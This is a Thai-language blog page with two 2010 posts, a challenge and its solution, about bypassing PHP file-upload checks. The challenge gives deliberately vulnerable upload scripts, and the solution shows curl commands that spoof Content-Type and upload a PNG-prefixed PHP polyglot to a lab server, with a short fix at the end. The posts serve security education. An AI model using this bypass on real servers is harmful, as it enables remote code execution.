Showing posts with label file upload. Show all posts
Showing posts with label file upload. Show all posts

Saturday, December 4, 2010

PHP file upload (เฉลย)

อาทิตย์หนึ่งผ่านไปจาก post เดิมที่ถามไว้ เกี่ยวกับ PHP file upload วันนี้ผมจะมาเฉลย ใครที่อยากทำเองก็อย่าอ่านต่อละกัน

ก่อนที่จะไปดูเฉลย ผมจะให้ดู HTTP request กับ response สำหรับการ upload file ในปัญหานี้ โดยผมได้เปลี่ยนจาก <br /> เป็น "\n" ใน เพื่อให้อ่านง่า่ยขึ้นในนี้

POST /upload.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://192.168.1.100/upload.html
Content-Type: multipart/form-data; boundary=---------------------------194488808416516608941591502886
Content-Length: 390

-----------------------------194488808416516608941591502886
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: image/gif

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
-----------------------------194488808416516608941591502886--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 05:32:41 GMT
Server: Apache
Content-Length: 120
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Upload: arrow.gif
Type: image/gif
Size: 0.166015625 Kb
Temp file: C:\WINDOWS\Temp\php19D.tmp
Stored in: upload/arrow.gif

ข้างบนเป็นข้อมูลที่เอามาจาก Wireshark และตัวอักษร . ในข้อมูลหมายถึง byte ที่ไม่สามารถแสดงผลเป็นตัวอักษรได้

หลังจากเห็น request จาก Firefox ไปแล้ว เรามาเริ่มเลยดีกว่า ปัญหาที่1 นั้นมีการตรวจสอบเพิ่งแค่ว่า $_FILES["file"]["type"] นั้นเป็นชนิดที่เราอนุญาติหรือไม่
ถ้าเราสังเกต request ของ Firefox จะเห็นว่ามีการส่ง "Content-Type: image/gif" ไปด้วย ดังนั้นถ้าเราลองแก้ค่านี้ดู โดยผมจะใช้ curl (ถ้าใครไม่ถนัด command line ก็อาจจะใช้ Tamper Data ที่เป็น add-on ของ Firefox)

$ curl -0 -F "file=@arrow.gif;type=foo/bar" http://192.168.1.100/upload.php
Invalid file
$
โดยจะมี HTTP request และ response เป็น (จาก Wireshark)
POST /upload.php HTTP/1.0
User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
Host: 192.168.1.100
Accept: */*
Content-Length: 354
Content-Type: multipart/form-data; boundary=----------------------------f627444651d8

------------------------------f627444651d8
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: foo/bar

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
------------------------------f627444651d8--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 06:04:21 GMT
Server: Apache
Content-Length: 13
Connection: close
Content-Type: text/html

Invalid file

จะเห็นว่าคราวนี้ เราส่ง Content-Type เป็น foo/bar แล้ว server ตอบกลับเป็น "Invalid file" ทั้งๆ ที่ผม upload ไฟล์ที่เป็น gif แสดงให้เห็นว่าค่า $_FILES["file"]["type"] นั้นเป็นค่าที่ client ส่ง ไม่ได้เป็นค่าที่ ตัว PHP ทำการตรวจสอบชนิดของไฟล์

เมื่อรู้แล้วว่า PHP เอา type มาจากที่ client ส่งไป ผมจะสร้างไฟล์ php ตามนี้

$ cat info.php
<?php phpinfo();

แล้ว upload file ด้วยคำสั่ง

$ curl -0 -F "file=@info.php;type=image/gif" http://192.168.1.100/upload.php
Upload: info.php
Type: image/gif
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1A3.tmp
Stored in: upload/info.php

เย้ ทำได้แล้วปัญหาที่ 1 :)

เรามาต่อปัญหาที่ 2 กันเลยดีกว่า ปัญหานี้ผมกำหนดให้ type ของไฟล์เป็น image/png แต่คราวนี้จะมีอีกปัญหาหนึ่งคือ

    $info = getimagesize($_FILES["file"]["tmp_name"]);
    if ($info == FALSE) {
      echo "Invalid image file";
    }
    else if ($info["mime"] != "image/png") {
      echo "Image is not PNG";
    }

จาก code จะเห็นว่า คราวนี้มีการลองเปิดไฟล์รูปว่าเป็นไฟล์รูปชนิดไหน ดังนั้นถ้าเราทำแบบปัญหาที่ 1 จะได้ผลลัพธ์ดังนี้

$ curl -0 -F "file=@info.php;type=image/png" http://192.168.1.100/upload2.php
Upload: info.php
Type: image/png
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1AF.tmp
Invalid image file.

จากผลคือ php ไม่สามารถเปิดไฟล์รูปได้ เพราะไฟล์ของเราเป็น php code ธรรมดา ดังนั้นสิ่งที่เราต้องทำคือ ให้ php เปิดไฟล์เราแบบไฟล์รูปได้ และ php สามารถรัน php code ได้ แล้วจะทำอย่างไรละ :S


เวลาเราเขียน php ในหลายครั้งเราเขียนผสมกับ html code โดยส่วนไหนจะให้ php ทำงานก็เปิดด้วย <?php และปิดด้วย ?> โดยจริงๆ แล้วส่วนที่ไม่ใช้ php code จะเป็นข้อมูลอะไรก็ได้ จะอ่านออกหรือเปล่า php interpreter ไม่ได้สนใจ

ดังนั้นถ้าเราเอาไฟล์รูป png มารูปหนึ่ง แล้วแก้ข้อมูลข้างในให้มี php code โปรแกรมเปิดรูปก็จะคิดว่าไฟล์นี้เป็นไฟล์รูปภาพชนิด png (แค่รูปที่เปิดอาจจะเสีย) และเมื่อ php interpreter อ่านไฟล์ไว้ก็จะทำงาน code ที่เราใส่ไว้ข้างใน แต่เนื่องด้วย getimagesize() นั้น อ่านแค่ header ว่าเป็นไฟล์อะไร ผมจะทำแค่เพิ่ม php code ต่อท้ายไฟล์รูปภาพ ตามคำสั่ง

$ ls -l ad.png info.php
-rw-r--r-- 1 worawit worawit 643 2010-12-04 14:46 ad.png
-rw-r--r-- 1 worawit worawit  17 2010-12-04 13:40 info.php
$ cat ad.png info.php > mypng.php
$ ls -l mypng.php
-rw-r--r-- 1 worawit worawit 660 2010-12-04 14:47 mypng.php
$ file mypng.php
mypng.php: PNG image, 16 x 11, 8-bit/color RGB, non-interlaced

คำสั่งข้างบน คือผมเอาไฟล์ 2 ไฟล์มาต่อกัน โดยเริ่มจากรูป ad.png จะเห็นว่าขนาดไฟล์ mypng.php เท่ากับ 2 ไฟล์รวมกัน และเมื่อใช้คำสั่ง file ดูไฟล์ที่สร้างใหม่ขึ้นมา ก็ยัง detect เป็น png อยู่ดี

และเมื่อเราเตรียมไฟล์เรียบร้อยแล้ว ก็พร้อมที่จะ upload ขึ้นไปแล้ว

$ curl -0 -F "file=@mypng.php;type=image/png" http://192.168.1.100/upload2.php
Upload: mypng.php
Type: image/png
Size: 0.64453125 Kb
Temp file: C:\WINDOWS\Temp\php1B3.tmp
Stored in: upload/mypng.php

pwned.. สำเร็จแล้ว และถ้าเราลองเปิดไฟล์ php ที่ upload ขึ้นไปด้วย web browser คุณจะผมว่ามีตัวอักษรที่อ่านไม่ออก แล้วตามด้วยผลของ php code

คราวนี้ก็ถึงวิธีป้องกัน เอาแบบสั้นๆ นะครับ (ขี้เกียจเขียน) ก็คือให้ตรวจสอบนามสกุลของไฟล์ (file extension) โดยอาจใช้คำสั่ง pathinfo() เพราะว่าโดย default ตัว web server จะใช้ php interpreter กับไฟล์ที่มี extension เป็น php แต่ถ้ามีการแก้ไขพวกนี้ที่ web server คุณก็ต้องถาม admin ของ server นั้นๆ เอง

Sunday, November 28, 2010

PHP file upload (คำถาม)

ระหว่างคอยเนื้อหาการเขียน exploit ที่ผมต้องใช้เวลาอีกซักพัก ในการเตรียมและทดสอบหลายๆ อย่าง
คราวนี้ผมให้เป็นโจทย์ไปดีกว่า (ผมจะได้ไม่ต้องใช้เวลาเขียนเยอะ :D) แล้วผมคอยมาเฉลย(อธิบาย) ทีหลัง

เรื่องนี้ก็เป็นไปตามชื่อเรื่อง ตอนแรกผมก็คิดเล่นๆ แต่พอลอง search ดู พบว่า code ตัวอย่างใน w3cshools ก็มีช่องโหว่ เลยเอามาให้ทำซะเลย (ให้ setup web server เอาเองนะครับ)

ปัญหาที่ 1 (upload1.php) (copy มาจาก http://w3schools.com/PHP/php_file_upload.asp)

<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
  }
else
  {
  echo "Invalid file";
  }

code ข้างบนมีช่องโหว่อยู่ หาวิธี upload php file ให้ได้ (ใจดีนะเนี่ย ที่บอกว่าให้ทำอะไร จริงๆแล้ว ต้องรู้เองว่าต้องทำอะไร)

โจทย์ข้างบนผมว่าง่ายเกินไป ผมเลยขอแก้ไข code ข้างบน (ให้อ่านง่ายขึ้นด้วย) ยากขึ้นอีกนิดหน่อย

ปัญหาที่ 2 (upload2.php)

<?php
if ($_FILES["file"]["type"] == "image/png") {
  if ($_FILES["file"]["error"] > 0) {
    echo "Return Code: " . $_FILES["file"]["error"];
  }
  else {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    $info = getimagesize($_FILES["file"]["tmp_name"]);
    if ($info == FALSE) {
      echo "Invalid image file";
    }
    else if ($info["mime"] != "image/png") {
      echo "Image is not PNG";
    }
    else if (file_exists("upload/" . $_FILES["file"]["name"])) {
      echo $_FILES["file"]["name"] . " already exists. ";
    }
    else {
      move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
    }
  }
}
else {
  echo "Invalid file";
}

ปัญหาที่ 2 เพิ่มการตรวจสอบอีกนิดหน่อย ผมว่าก็ยังง่ายอยู่นะ

คนรู้อยู่แล้ว หรือทำได้แล้ว ก็ไม่ต้องเขียนเฉลยนะครับ ให้คนอื่นเขาหาทางกันเองก่อน จริงๆ แล้วเดี๋ยวผมไม่มีอะไรให้เขียน :D

Update: ผมได้ publish เฉลยแล้วนะครับ ถ้าไม่อยากคิดก็ กดเลยครับ